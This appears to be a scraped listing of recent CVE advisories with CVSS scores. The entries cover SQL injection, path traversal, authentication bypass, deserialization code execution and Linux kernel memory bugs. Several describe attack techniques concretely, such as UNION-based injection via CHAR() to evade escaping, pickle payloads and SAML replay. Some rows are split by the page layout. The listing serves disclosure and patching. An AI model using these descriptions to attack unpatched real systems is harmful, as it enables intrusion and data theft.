CVE-2026-49491	Pixa Bank 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to extract sensitive data by injecting SQL code into the 'rib' parameter. Attackers can send POST requests to the agence-ajax.php endpoint with UNION-based SQL payloads to retrieve user information including names, email addresses, and phone numbers from the database.	8.2	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: slip: bound decode() reads against the compressed packet length slhc_uncompress() parses a VJ-compressed TCP header by advancing a pointer through the packet via decode() and pull16(). Neither helper bounds-checks against isize, and decode() masks its return with & 0xffff so it can never return the -1 that callers test for -- those error paths are dead code. A short compressed frame whose change byte requests optional fields lets decode() read past the end of the packet. The over-read bytes are folded into the cached cstate and reflected into subsequent	8.2	More Details

45843	reconstructed packets. Make decode() and pull16() take the packet end pointer and return -1 when exhausted. Add a bounds check before the TCP-checksum read. The existing == -1 tests now do what they were always meant to.		
CVE-2026-24088	Cryptographic Issue while processing a specific partition which allows unauthorized write access to load a customized bootloader.	8.2	More Details
CVE-2018-25434	WP AutoSuggest 0.24 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the wpas_keys parameter. Attackers can send GET requests to autosuggest.php with crafted wpas_keys values to extract sensitive database information from WordPress posts and other tables.	8.2	More Details
CVE-2026-43624	F5-TTS through version 1.1.20 contains a path traversal vulnerability in the finetune Gradio handlers that allows unauthenticated attackers to write arbitrary files by passing unsanitized user-supplied project names directly to os.path.join() without validating the resulting path stays within the intended base directory. Attackers can supply absolute path arguments such as /tmp/EVIL to override the base directory entirely and create arbitrary directories with attacker-controlled JSON content at any filesystem path writable by the server process.	8.2	More Details
CVE-2018-25433	Joomla Component JE Photo Gallery 1.1 contains an SQL injection vulnerability that allows unauthenticated attackers to extract database information by injecting malicious SQL code through the categoryid parameter. Attackers can send GET requests to index.php with crafted categoryid values in the com_jephotogallery component to execute arbitrary SQL queries and retrieve sensitive data like usernames and password hashes.	8.2	More Details
CVE-2026-37234	FlexRIC v2.0.0 allows a single SCTP connection to bind multiple xapp_ids by sending multiple E42_SETUP_REQUESTs. On disconnect, only the first registered xapp_id's resources are cleaned up; subsequent xapp_ids and their subscriptions remain as stale entries. A remote attacker can exploit this to leak subscription state in the iApp, potentially causing resource exhaustion or state corruption over time.	8.2	More Details
CVE-2018-25428	Paroiciel 11.20 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the tRecIdListe parameter. Attackers can send GET requests to the trec.php endpoint with crafted SQL payloads to extract database information including table and column names.	8.2	More Details
CVE-2026-24751	Kiteworks is a private data network (PDN). Prior to version 9.3.0, a reflected XSS vulnerability in Kiteworks Secure Data Forms could allow an external attacker to trick a user into executing arbitrary JavaScript code. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	8.2	More Details
CVE-2026-44237	FreePBX is an open source IP PBX. Prior to 17.0.8, the FreePBX api module's OAuth2 implementation does not sufficiently validate client credentials during token issuance. Knowledge of a valid client_id is required. The validateClient() method in ClientRepository.php unconditionally returns true, allowing any party with knowledge of a valid client_id to obtain OAuth2 access tokens without providing the correct client_secret. This vulnerability is fixed in 17.0.8.	8.1	More Details
CVE-2026-45707	n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to 2.51.2, when ENABLE_MULTI_TENANT=true, the HTTP transport documents that the target n8n instance is selected per-request from x-n8n-url / x-n8n-key headers. Requests that omitted those headers — or supplied only one of them — silently fell back to the process-level N8N_API_URL / N8N_API_KEY credentials configured for the operator's own n8n instance. As a result, an authenticated MCP tenant could cause n8n management calls to execute against the operator's instance instead of its own. This affects HTTP-mode deployments of n8n-mcp that are run as a shared multi-tenant service. Single-tenant deployments (ENABLE_MULTI_TENANT unset or false) are not affected. This vulnerability is fixed in 2.51.2.	8.1	More Details
CVE-2026-46138	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_event: Fix OOB read and infinite loop in hci_le_create_big_complete_evt hci_le_create_big_complete_evt() iterates over BT_BOUND connections for a BIG handle using a while loop, accessing ev->bis_handle[i++] on each iteration. However, there is no check that i stays within ev->num_bis before the array access. When a controller sends a LE_Create_BIG_Complete event with fewer bis_handle entries than there are BT_BOUND connections for that BIG, or with num_bis=0, the loop reads beyond the valid bis_handle[] flex array into adjacent heap memory. Since the out-of-bounds values typically exceed HCI_CONN_HANDLE_MAX (0x0EFF), hci_conn_set_handle() rejects them and the connection remains in BT_BOUND state. The same connection is then found again by hci_conn_hash_lookup_big_state(), creating an infinite loop with hci_dev_lock held. Fix this by terminating the BIG if in case not all BIS could be setup properly.	8.1	More Details
CVE-2026-49121	AI Tensor Engine for ROCm (AITER) through 0.1.14 contains an unauthenticated remote code execution vulnerability in the MessageQueue.recv() function within shm_broadcast.py that allows unauthenticated remote attackers to execute arbitrary code by sending a malicious pickle payload to a ZMQ SUB socket with no authentication, HMAC, or format validation. Attackers who can reach the writer XPUB endpoint on the cluster network or supply a forged Handle with an attacker-controlled remote_subscribe_addr can deliver a	8.1	More Details

	crafted pickle payload that executes arbitrary code simultaneously as the inference worker process on every remote reader worker.		
CVE-2026-49490	OpenCATS from version 0.9.1a contains an SQL injection vulnerability in DataGrid filter handling that allows authenticated attackers to inject SQL through crafted filters targeting the non-filterable Tags column in the Candidates DataGrid. Attackers can bypass column filterable restrictions by manipulating filter requests to execute arbitrary SQL queries against the database.	8.1	More Details
CVE-2026-6455	The WP Contact Form 7 DB Handler plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Arbitrary File Deletion via SQL Injection and PHP Object Injection in versions up to and including 3.0. This is due to a missing nonce verification in the process_bulk_action() function, the nonce check is only executed when _wpnonce is present in the POST body, allowing it to be trivially bypassed by omitting the field, combined with the use of an unsanitized, unparameterized user-supplied value in a numeric SQL context (WHERE ID = $ID) and the unsafe deserialization of the query result's post_content field. An attacker can craft a CSRF page that tricks a logged-in administrator into triggering a UNION-based SQL injection payload (using CHAR() to avoid esc_sql quote-escaping) that returns a malicious serialized PHP array as post_content; upon deserialization, array values associated with keys containing 'ys_cfdbh_file' are used as file paths appended to the uploads directory path without any path traversal validation, and then passed to wp_delete_file(), allowing the attacker to delete arbitrary files on the server (e.g., wp-config.php, system files).	8.1	More Details
CVE-2026-46402	Microsoft UFO open-source framework for intelligent automation across devices and platforms. In 3.0.1-4-ge2626659, Microsoft UFO uses the user-controlled task_name value directly when constructing session log paths. An authenticated client can supply path traversal sequences in task_name and cause UFO to create log directories and log files outside the intended logs/ directory.	8.1	More Details
CVE-2026-45281	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 32.0.0 to before 32.0.9, and 33.0.0 to before 33.0.3, with the knowledge of other users’ principal URL an attacker could possibly send a request to gain full access to their calendar. Therefore, the attacker must be an authenticated user. This is because of improper authorization controls in the backend of the calendar. If the attacker had access to the calendar, they would be able to view and modify it. It is recommended that the Nextcloud Server is upgraded to 33.0.3 or 32.0.9. It is recommended that the Nextcloud Enterprise Server is upgraded to 33.0.3, 32.0.9, 31.0.14.5, 30.0.17.9, 29.0.16.16, 28.0.14.17, 27.1.11.26, 26.0.13.26, 25.0.13.29, 24.0.12.34, 23.0.12.35, 22.2.10.39, or 21.0.9.23	8.1	More Details
CVE-2026-47740	Shopper is a Headless e-commerce Admin Panel. Prior to 2.8.0, Multiple Filament actions on the admin Order detail and Order shipments table were callable by an authenticated low-privilege user without the permission required to mutate orders. The order detail actions cancel, mark paid, mark complete, capture payment, archive, and start processing were callable with the read-only read_orders permission and did not require edit_orders. capturePayment could trigger an actual PSP capture (real funds movement). The order shipments table actions mark delivered and edit tracking were callable with the read-only browse_orders permission. A user with read access to orders could therefore alter the lifecycle of every order in the panel and trigger real-world payment captures. This vulnerability is fixed in 2.8.0.	8.1	More Details
CVE-2026-46099	In the Linux kernel, the following vulnerability has been resolved: net: ipv6: fix NOREF dst use in seg6 and rpl lwtunnels seg6_input_core() and rpl_input() call ip6_route_input() which sets a NOREF dst on the skb, then pass it to dst_cache_set_ip6() invoking dst_hold() unconditionally. On PREEMPT_RT, ksoftirqd is preemptible and a higher-priority task can release the underlying pcpu_rt between the lookup and the caching through a concurrent FIB lookup on a shared nexthop. Simplified race sequence: ksoftirqd/X higher-prio task (same CPU X) ---------- ---------- seg6_input_core(,skb)/rpl_input(skb) dst_cache_get() -> miss ip6_route_input(skb) -> ip6_pol_route(,skb,flags) [RT6_LOOKUP_F_DST_NOREF in flags] -> FIB lookup resolves fib6_nh [nhid=N route] -> rt6_make_pcpu_route() [creates pcpu_rt, refcount=1] pcpu_rt->sernum = fib6_sernum [fib6_sernum=W] -> cmpxchg(fib6_nh.rt6i_pcpu, NULL, pcpu_rt) [slot was empty, store succeeds] -> skb_dst_set_noref(skb, dst) [dst is pcpu_rt, refcount still 1] rt_genid_bump_ipv6() -> bumps fib6_sernum [fib6_sernum from W to Z] ip6_route_output() -> ip6_pol_route() -> FIB lookup resolves fib6_nh [nhid=N] -> rt6_get_pcpu_route() pcpu_rt->sernum != fib6_sernum [W <> Z, stale] -> prev = xchg(rt6i_pcpu, NULL) -> dst_release(prev) [prev is pcpu_rt, refcount 1->0, dead] dst = skb_dst(skb) [dst is the dead pcpu_rt] dst_cache_set_ip6(dst) -> dst_hold() on dead dst -> WARN / use-after-free For the race to occur, ksoftirqd must be preemptible (PREEMPT_RT without PREEMPT_RT_NEEDS_BH_LOCK) and a concurrent task must be able to release the pcpu_rt. Shared nexthop objects provide such a path, as two routes pointing to the same nhid share the same fib6_nh and its rt6i_pcpu entry. Fix seg6_input_core() and rpl_input() by calling skb_dst_force() after ip6_route_input() to force the NOREF dst into a refcounted one before caching. The output path is not affected as ip6_route_output() already returns a refcounted dst.	8.1	More Details
CVE-2026-48064	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.1, when a PAM service is configured with deny_remote=false in pam_usb (commonly done for display managers such as gdm-password or lightdm to bypass process/TTY heuristics for local sessions), the PAM_RHOST check in pusb_do_auth() is also skipped. PAM_RHOST is set by remote daemons (sshd, XDMCP servers) to identify the remote client address. Because the check is gated inside if (opts.deny_remote), a genuine remote XDMCP connection reaches the USB device authentication step instead of being rejected. This vulnerability is fixed in 0.9.1.	8.1	More Details

CVE-2026-44825	Hardcoded credentials in the Basic Authentication setup tool (bin/solr auth enable) in Apache Solr versions 9.4.0 through 9.10.1 and 10.0.0 allows a remote attacker to gain full administrative access to the cluster via publicly known default credentials installed silently alongside the user-specified account. As an immediate workaround without upgrading, delete the template users (superadmin, admin, search, index) from security.json or change their passwords. The future, not yet released, versions 9.11.0 and 10.1.0 will not be vulnerable, and it will be enough to upgrade to solve the issue. Not affected: * Clusters where bin/solr auth enable was not used to bootstrap BasicAuth * Clusters where template users have been assigned strong passwords after bootstrap	8.1	More Details
CVE-2026-42588	Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter using the "masterslave:// " URL which can allow loading a Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 5.19.7 or 6.2.6, which fixes the issue.	8.1	More Details
CVE-2026-48906	The vulnerability in the Tassos Framework Plugin allows users to delete arbitrary files on the affected sites.	8.1	More Details
CVE-2026-6075	The Media Library Assistant plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 3.35 This is due to missing nonce verification on the bulk action handlers in the settings tab handlers. This makes it possible for unauthenticated attackers to trick an administrator into performing bulk delete, edit, or purge operations on plugin settings and attachment metadata via a forged request.	8.1	More Details
CVE-2026-48152	Budibase is an open-source low-code platform. Prior to 3.39.0, the single-datasource GET and PUT routes are guarded by generic TABLE READ, not by Builder/Admin permission or datasource-specific ownership/resource checks. The built-in Basic app user role maps to the WRITE permission set, which includes table read/write and query write. A Basic user can therefore read an existing REST datasource, receive redacted authConfigs values, submit an update that changes only config.url while keeping the redacted placeholders, and trigger an existing saved relative-path REST query. During update, mergeConfigs() restores the old stored secret when it sees the redaction placeholder. During query execution, Budibase prefixes the attacker-controlled datasource config.url to the relative query path and applies the resolved stored auth headers. The result is server-side disclosure of the builder-configured REST Authorization secret to an attacker-controlled listener. This vulnerability is fixed in 3.39.0.	8.1	More Details
CVE-2026-48149	Budibase is an open-source low-code platform. Prior to 3.39.0, the Budibase Text component renders markdown by assigning marked.parse(markdown) straight to innerHTML with no sanitizer (packages/bbui/src/Markdown/MarkdownViewer.svelte:22). Any column a builder binds to a Text component in Markdown mode is a stored-XSS sink writable by every BASIC app user with WRITE on the underlying table. This vulnerability is fixed in 3.39.0.	8.1	More Details
CVE-2026-42790	Improper Certificate Validation vulnerability in Erlang OTP public_key (pubkey_cert and public_key modules) allows a DNS nameConstraints bypass via subject CommonName fallback in TLS hostname verification. Two flaws combine to allow a subordinate CA whose DNS nameConstraints are restricted (e.g. permitted;DNS:allowed.example.com) to issue a leaf certificate that an OTP TLS client accepts as a valid identity for an out-of-scope hostname (e.g. victim.example.com): First, pubkey_cert:validate_names/6 in lib/public_key/src/pubkey_cert.erl only checks SAN DNS entries against nameConstraints. Per RFC 5280, a permitted DNS subtree only restricts certificates that contain a DNS-typed name. A leaf with no subjectAltName therefore trivially satisfies any permitted;DNS:... constraint regardless of its subject commonName. Second, public_key:pkix_verify_hostname/3 in lib/public_key/src/public_key.erl falls back to the subject commonName when no subjectAltName is present, extracting id-at-commonName attributes as presented IDs and matching them against the reference hostname. The strict pkix_verify_hostname_match_fun(https) matcher does not suppress this fallback. The result is that path validation accepts a CN-only leaf under a DNS-constrained intermediate (no SAN means the nameConstraints are not triggered), and hostname verification then accepts it via the CN fallback. The bypass is reachable from stock ssl:connect with verify_peer, a trusted CA, SNI, and the canonical strict https hostname matcher. This issue affects OTP from OTP 19.3 before OTP 26.2.5.21, 27.3.4.12, 28.5.0.1, and 29.0.1 corresponding to public_key from 1.4 before 1.15.1.7, 1.17.1.3, 1.20.3.1, and 1.21.1.	8.1	More Details
CVE-2026-46010	In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix error handling in rxgk_extract_token() Fix a missing bit of error handling in rxgk_extract_token(): in the event that rxgk_decrypt_skb() returns -ENOMEM, it should just return that rather than continuing on (for anything else, it generates an abort).	8.1	More Details

CVE-2026-41013	Input validation bypass in SMB volume mount handling in CloudFoundry Foundation diego-release allows low-privileged CF space developer to inject arbitrary kernel CIFS mount options via bypassing the mount-option allowlist, enabling privilege escalation and security control bypass on multi-tenant Diego cells. Affected versions: smb-volume-release: All versions prior to v3.60.0 CF Deployment: All versions prior to v56.0.0	8.1	More Details
CVE-2026-8796	Sereal::Decoder versions before 5.005 for Perl allow heap out-of-bounds read via crafted input. In Perl/Decoder/srl_decoder.c, srl_read_object() and srl_read_hash() process a COPY tag, a back-reference whose target byte the decoder re-decodes as a fresh tag. When that target byte matches the SHORT_BINARY pattern (an inline string whose length is encoded in the low bits of the tag), the resulting read is not bounded to precede the COPY tag's own offset and can run past the end of the input buffer. An attacker controlled COPY offset can land inside a previously decoded value rather than on a tag boundary, planting a byte that the decoder reads as a SHORT_BINARY tag and consuming up to 31 following bytes from the heap as a class name (OBJECT path) or hash key (HASH path).	8.1	More Details
CVE-2026-46828	Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Payroll accessible data as well as unauthorized access to critical data or complete access to all Oracle Payroll accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).	8.1	More Details
CVE-2026-9964	Use after free in Bluetooth in Google Chrome on Mac prior to 148.0.7778.216 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: High)	8.1	More Details
CVE-2026-35277	Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).	8.1	More Details
CVE-2026-8994	The Login with NEAR plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 0.3.3. The `ajaxLoginWithNear()` function — registered as a `wp_ajax_nopriv` action and therefore reachable by unauthenticated users — accepts an attacker-supplied `account` POST parameter and issues a valid WordPress authentication cookie based solely on a substring check for `.near`, with no nonce verification, cryptographic signature validation, challenge-response exchange, or any proof that the requester controls the corresponding NEAR wallet. This makes it possible for unauthenticated attackers to log in as any existing WordPress user, including administrators, whose email address matches the deterministic `<account>@near.org` pattern derived from the supplied `account` value. If no matching user exists, the handler automatically creates and authenticates a new WordPress account for the attacker-controlled identifier, providing a further avenue for unauthorized account creation.	8.1	More Details
CVE-2026-45156	Nextcloud is an open source content collaboration platform. From versions 0.3.0 to before 3.1.0, 5.0.0 to before 5.1.0, and 6.0.0 to before 6.4.0, a missing signature verification in User OIDC allowed a malicious ID4me authority to identify as any user. This issue has been patched in versions 3.1.0, 4.1.0, 5.1.0, 6.4.0 and 8.3.0.	8.1	More Details
CVE-2026-9095	Casdoor versions 2.362.0 and earlier map SAML assertions to user sessions without replay protection. The ParseSamlResponse() function in object/saml_sp.go calls sp.RetrieveAssertionInfo() and immediately maps the result to a user session. There is no assertion ID cache, OneTimeUse condition enforcement, or replay detection anywhere in the SAML SP code path. As a result, an attacker can replay a previously captured SAML assertion to obtain an authenticated session for the assertion’s subject, including administrator accounts, without needing the user’s password or MFA credentials.	8.1	More Details
CVE-2026-44882	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33., Portainer proxies requests to Kubernetes clusters through a middleware layer (kubeClientMiddleware) that validates the requesting user's token before forwarding traffic to the cluster. When security.RetrieveTokenData returned an error, the middleware wrote an HTTP 403 response but was missing a return statement — execution continued into the handler with a nil tokenData value. The Kubernetes endpoints sit behind Portainer's outer AuthenticatedAccess bouncer, so an attacker requires a valid Portainer session. However, a user whose secondary token validation fails in kubeClientMiddleware — for example a user without permission to access a given Kubernetes endpoint — would have their request forwarded to the cluster anyway, bypassing the authorization check. The same defect was present in both the CE and EE codebases. This vulnerability is fixed in 2.33.8.	8.1	More Details
CVE-	Billy is an interface filesystem abstraction for Go. Prior to 5.9.0, multiple path traversal issues exist across different components of go-billy. Insufficient path sanitization and boundary enforcement may allow crafted		

2026-44973	paths (e.g., using ..) to escape intended base directories. While go-billy was not originally designed to provide a strong security boundary, some of these issues were inconsistent across some of the built-in implementations. This results in scenarios where applications relying on go-billy for some level of isolation may inadvertently expose access to unintended filesystem locations. This vulnerability is fixed in 5.9.0.	8.1	More Details
CVE-2026-45344	LinkAce is a self-hosted archive to collect website links. Prior to 2.5.6, the setup database configuration flow on uninitialized LinkAce instances accepts attacker-controlled database credential fields and writes them back into .env without escaping. A remote attacker who can reach the setup endpoints and supply a database they control can inject mail configuration variables and achieve command execution when the application later sends mail. This vulnerability is fixed in 2.5.6.	8.1	More Details
CVE-2025-13392	Improper check for unusual or exceptional conditions vulnerability in SSO in Synology DiskStation Manager (DSM) before 7.2.2-72806-5 and 7.3.1-86003-1 (7.2.1-69057 is not affected) allows remote attackers to bypass authentication with prior knowledge of the distinguished name (DN).	8.1	More Details
CVE-2026-46232	In the Linux kernel, the following vulnerability has been resolved: HID: playstation: Clamp num_touch_reports A device would never lie about the number of touch reports would it? If it does the loop in dualshock4_parse_report will read off the end of the touch_reports array, up to about 2 KiB for the maximum number of 256 loop iteraions. The data that is read is emitted via evdev if the DS4_TOUCH_POINT_INACTIVE bit happens to be set. Protect against this by clamping the num_touch_reports value provided by the device to the maximum size of the touch_reports array.	8.1	More Details
CVE-2026-6957	Mattermost Plugins versions <=1.1.5 fail to sanitize filenames received from federated peers before using them to construct export destination paths, which allows an administrator of a remote federated Mattermost server to write files to arbitrary locations within the target server's filestore via a malicious filename delivered through the shared-channel attachment sync protocol. Mattermost Advisory ID: MMSA-2026-00659	8.0	More Details
CVE-2026-0095	In l2c_fcr_clone_buf of l2c_fcr.cc, there is a possible way to trigger controlled heap corruption within the privileged Bluetooth process due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	8.0	More Details
CVE-2026-49367	In JetBrains IntelliJ IDEA before 2026.1.1 command execution was possible via the guest user account	8.0	More Details
CVE-2026-3012	A flaw was found in Samba’s certificate auto-enrollment Group Policy handling. When certificate auto-enrollment is enabled, Samba may retrieve a CA certificate over an unencrypted HTTP connection and install it into the local trust store without proper verification. An attacker with the ability to intercept or redirect network traffic could exploit this behavior to supply a malicious certificate authority certificate, potentially allowing interception or spoofing of trusted communications.	8.0	More Details
CVE-2026-20452	In wlan AP driver, there is a possible memory corruption due to a heap buffer overflow. This could lead to remote (proximal/adjacent) code execution with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00480138; Issue ID: MSV-6295.	8.0	More Details
CVE-2026-0059	In multiple functions of sdp_discovery.cc, there is a possible way to achieve code execution due to a heap buffer overflow. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation.	8.0	More Details
CVE-2026-37266	An issue in Responsive File Manager Responsive FileManager Version 9.14.0 allows a remote attacker to execute arbitrary code via the force_download.php component	8.0	More Details
CVE-2026-47294	Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.	8.0	More Details
CVE-2026-0097	In multiple locations, there is a possible way to bypass user interaction when pairing an LE device due to a logic error. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	8.0	More Details
CVE-2026-35630	OpenClaw before 2026.5.18 contains an authorization bypass vulnerability in QQBot native approval buttons that fails to enforce configured approver identity. Non-approver users can click approval buttons to resolve pending exec or plugin approval requests without proper authorization.	8.0	More Details
CVE-2026-35266	Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services.	7.9	More Details

	CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).		
CVE-2026-44711	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.8.7, symlink attacks on pad directory and pad files enable authentication bypass and root file corruption. This vulnerability is fixed in 0.8.7.	7.9	More Details
CVE-2026-46076	In the Linux kernel, the following vulnerability has been resolved: KVM: nSVM: Raise #UD if unhandled VMMCALL isn't intercepted by L1 Explicitly synthesize a #UD for VMMCALL if L2 is active, L1 does NOT want to intercept VMMCALL, nested_svm_l2_tlb_flush_enabled() is true, and the hypercall is something other than one of the supported Hyper-V hypercalls. When all of the above conditions are met, KVM will intercept VMMCALL but never forward it to L1, i.e. will let L2 make hypercalls as if it were L1. The TLFS says a whole lot of nothing about this scenario, so go with the architectural behavior, which says that VMMCALL #UDs if it's not intercepted. Opportunistically do a 2-for-1 stub trade by stub-ifying the new API instead of the helpers it uses. The last remaining "single" stub will soon be dropped as well. [sean: rewrite changelog and comment, tag for stable, remove defunct stubs]	7.9	More Details
CVE-2026-45862	In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Flush cache for PASID table before using it When writing the address of a freshly allocated zero-initialized PASID table to a PASID directory entry, do that after the CPU cache flush for this PASID table, not before it, to avoid the time window when this PASID table may be already used by non-coherent IOMMU hardware while its contents in RAM is still some random old data, not zero-initialized.	7.8	More Details
CVE-2026-45878	In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix watch_id bounds checking in debug address watch v2 The address watch clear code receives watch_id as an unsigned value (u32), but some helper functions were using a signed int and checked bits by shifting with watch_id. If a very large watch_id is passed from userspace, it can be converted to a negative value. This can cause invalid shifts and may access memory outside the watch_points array. drm/amdkfd: Fix watch_id bounds checking in debug address watch v2 Fix this by checking that watch_id is within MAX_WATCH_ADDRESSES before using it. Also use BIT(watch_id) to test and clear bits safely. This keeps the behavior unchanged for valid watch IDs and avoids undefined behavior for invalid ones. Fixes the below: drivers/gpu/drm/amd/amdgpu/../amdkfd/kfd_debug.c:448 kfd_dbg_trap_clear_dev_address_watch() error: buffer overflow 'pdd->watch_points' 4 <= u32max user_rl='0-3,2147483648-u32max' uncapped drivers/gpu/drm/amd/amdgpu/../amdkfd/kfd_debug.c 433 int kfd_dbg_trap_clear_dev_address_watch(struct kfd_process_device *pdd, 434 uint32_t watch_id) 435 { 436 int r; 437 438 if (!kfd_dbg_owns_dev_watch_id(pdd, watch_id)) kfd_dbg_owns_dev_watch_id() doesn't check for negative values so if watch_id is larger than INT_MAX it leads to a buffer overflow. (Negative shifts are undefined). 439 return -EINVAL; 440 441 if (!pdd->dev->kfd->shared_resources.enable_mes) { 442 r = debug_lock_and_unmap(pdd->dev->dqm); 443 if (r) 444 return r; 445 } 446 447 amdgpu_gfx_off_ctrl(pdd->dev->adev, false); --> 448 pdd->watch_points[watch_id] = pdd->dev->kfd2kgd->clear_address_watch(449 pdd->dev->adev, 450 watch_id); v2: (as per, Jonathan Kim) - Add early watch_id >= MAX_WATCH_ADDRESSES validation in the set path to match the clear path. - Drop the redundant bounds check in kfd_dbg_owns_dev_watch_id().	7.8	More Details
CVE-2026-0045	In bta_jv_rfcomm_connect of bta_jv_act.cc, there is a possible bypass of bonding for a secure connection due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	7.8	More Details
CVE-2026-25260	Memory Corruption when accessing shared buffers without validation of concurrent user-mode input modifications.	7.8	More Details
CVE-2026-47331	Ubuntu Linux 6.8 contains AppArmor SAUCE patches which fail to acquire a lock when modifying a linked list. An unprivileged local user could trigger the race condition that can lead to a use-after-free (UAF) and, theoretically, arbitrary code execution.	7.8	More Details
CVE-2026-46065	In the Linux kernel, the following vulnerability has been resolved: fbdev: defio: Disconnect deferred I/O from the lifetime of struct fb_info Hold state of deferred I/O in struct fb_deferred_io_state. Allocate an instance as part of initializing deferred I/O and remove it only after the final mapping has been closed. If the fb_info and the contained deferred I/O meanwhile goes away, clear struct fb_deferred_io_state.info to invalidate the mapping. Any access will then result in a SIGBUS signal. Fixes a long-standing problem, where a device hot-unplug happens while user space still has an active mapping of the graphics memory. The hot- unplug frees the instance of struct fb_info. Accessing the memory will operate on undefined state.	7.8	More Details
CVE-2026-46062	In the Linux kernel, the following vulnerability has been resolved: ntfs3: fix integer overflow in run_unpack() volume boundary check The volume boundary check `lcn + len > sbi->used.bitmap.nbits` uses raw addition which can wrap around for large lcn and len values, bypassing the validation. Use check_add_overflow() as is already done for the adjacent prev_lcn + dlcn and vcn64 + len checks added by commit 3ac37e100385 ("ntfs3: Fix integer overflow in run_unpack()"). Found by fuzzing with a source-patched harness (LibAFL + QEMU).	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: media: amphion: Fix race between m2m		

CVE-2026-46058	job_abort and device_run Fix kernel panic caused by race condition where v4l2_m2m_ctx_release() frees m2m_ctx while v4l2_m2m_try_run() is about to call device_run with the same context. Race sequence: v4l2_m2m_try_run(): v4l2_m2m_ctx_release(): lock/unlock v4l2_m2m_cancel_job() job_abort() v4l2_m2m_job_finish() kfree(m2m_ctx) <- frees ctx device_run() <- use-after-free crash at 0x538 Crash trace: Unable to handle kernel read from unreadable memory at virtual address 0000000000000538 v4l2_m2m_try_run+0x78/0x138 v4l2_m2m_device_run_work+0x14/0x20 The amphion vpu driver does not rely on the m2m framework's device_run callback to perform encode/decode operations. Fix the race by preventing m2m framework job scheduling entirely: - Add job_ready callback returning 0 (no jobs ready for m2m framework) - Remove job_abort callback to avoid the race condition	7.8	More Details
CVE-2026-45861	In the Linux kernel, the following vulnerability has been resolved: gfs2: Fix slab-use-after-free in qd_put Commit a475c5dd16e5 ("gfs2: Free quota data objects synchronously") started freeing quota data objects during filesystem shutdown instead of putting them back onto the LRU list, but it failed to remove these objects from the LRU list, causing LRU list corruption. This caused use-after-free when the shrinker (gfs2_qd_shrink_scan) tried to access already-freed objects on the LRU list. Fix this by removing qd objects from the LRU list before freeing them in qd_put(). Initial fix from Deepanshu Kartikey <kartikey406@gmail.com>.	7.8	More Details
